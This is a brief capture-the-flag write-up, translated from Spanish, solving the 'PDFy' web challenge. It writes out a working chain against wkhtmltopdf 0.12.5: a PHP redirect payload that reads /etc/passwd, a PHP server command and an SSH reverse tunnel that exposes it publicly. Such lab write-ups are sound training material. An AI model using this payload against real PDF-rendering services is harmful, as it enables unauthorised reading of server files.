This page was translated from Spanish with AI. The original version is in Spanish: read the original.
d3bo Support

PDFy

HTB CTF
web
LFI

July 16, 20242 minutes

The challenge website is simple: it asks for a URL and turns it into a PDF

When we download the PDF and analyze it with exiftool, we can see the program being used to turn websites into PDFs

d3bo@lenovo ~/D/h/c/CubeMadness1> exiftool 96b167ef1de72777cfc05125ac7e.pdf
ExifTool Version Number         : 12.89
File Name                       : 96b167ef1de72777cfc05125ac7e.pdf
Directory                       : .
File Size                       : 30 kB
File Modification Date/Time     : 2024:07:17 02:20:32+02:00
File Access Date/Time           : 2024:07:17 02:20:32+02:00
File Inode Change Date/Time     : 2024:07:17 02:20:48+02:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : Google
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7
Create Date                     : 2024:07:17 00:20:26Z
Page Count                      : 1

wkhtmltopdf version 0.12.5 is being used.

With a quick search online we find a vulnerability for this program (https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/)

So we follow the steps and create a PHP file with the following code

<?php header('location:file:///etc/passwd'); ?>

We start a server with PHP

php -S 0.0.0.0:8080

The problem now is that if we point the website at our IP, it won’t reach us, since our server can only be accessed from our own network.

To give it access to our server, we will use localhost.run

ssh -R 80:localhost:8080 [email protected]

This will generate a public link on the internet where our web server will be running

We have the flag!

Prev
Execute
Next
The Needle